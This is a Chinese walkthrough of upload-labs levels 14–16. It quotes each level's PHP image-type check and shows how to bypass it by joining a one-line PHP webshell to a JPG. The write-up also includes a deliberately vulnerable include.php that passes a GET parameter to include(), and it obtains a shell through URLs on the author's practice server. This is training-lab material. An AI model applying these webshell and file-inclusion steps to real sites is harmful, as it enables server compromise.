Upload-labs-14-16


本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切后果與發表本文章的作者無關

測試的靶機是作者自己購買的vps搭建的環境,使用了白名單形式訪問!

Pass-14

  • 查看本關卡代碼
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}
  • 根據提示檢測了代碼內容的開頭兩個字節,且頁面提示需要上傳圖片木馬拿shell,所以首先本地制作個圖片木馬
  • copy bmfx.jpg/b + ant.php/a shelljpg.jpg
  • 參數/b指定以二進制格式復制
  • 參數/a指定以ASCII格式復制
  • 最后是合並好的帶一句話的jpg文件

  • 然后直接上傳此圖片
  • 得到圖片地址:4020200930032126.jpg
  • 因為本關卡還提示需要通過文件包含來讀取jpg里面的小馬代碼拿shell,所以需要建立一個包含代碼的文件,我這里就定義名稱為include.php,內容如下:
<?php
$file = $_GET[ 'page' ] ;
include ($file);
?>
  • 到了此步就可以直接包含圖片拿shell了
  • http://106.54.35.126/upload/include.php?page=4020200930032126.jpg

  • 成功拿shell

Pass-15

  • 查看本關卡代碼
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}
  • 根據本關卡的提示是使用了getimagesize()函數,此函數是獲取文件類型是不是圖片格式的,但是此函數還是根據文件開頭去判斷的,所以我們插入在后面的一句話木馬不受影響,可以繼續利用
  • 具體看如下演示,最終上傳成功的訪問路徑:http://106.54.35.126/upload/include.php?page=6520200930034550.jpeg

Pass-16

  • 查看本關卡代碼
function isImage($filename){
    //需要開啟php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}
  • 根據本關卡的提示,發現又換了個函數來檢查是否是圖片,函數名稱是exif_imagetype() 此函數跟上一關卡的函數差別不大,只是本關卡的函數返回值少了些,所以同樣使用使用圖片木馬上傳拿shell
  • 具體請看如下演示:訪問  http://106.54.35.126/upload/include.php?page=3320200930051801.jpg


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM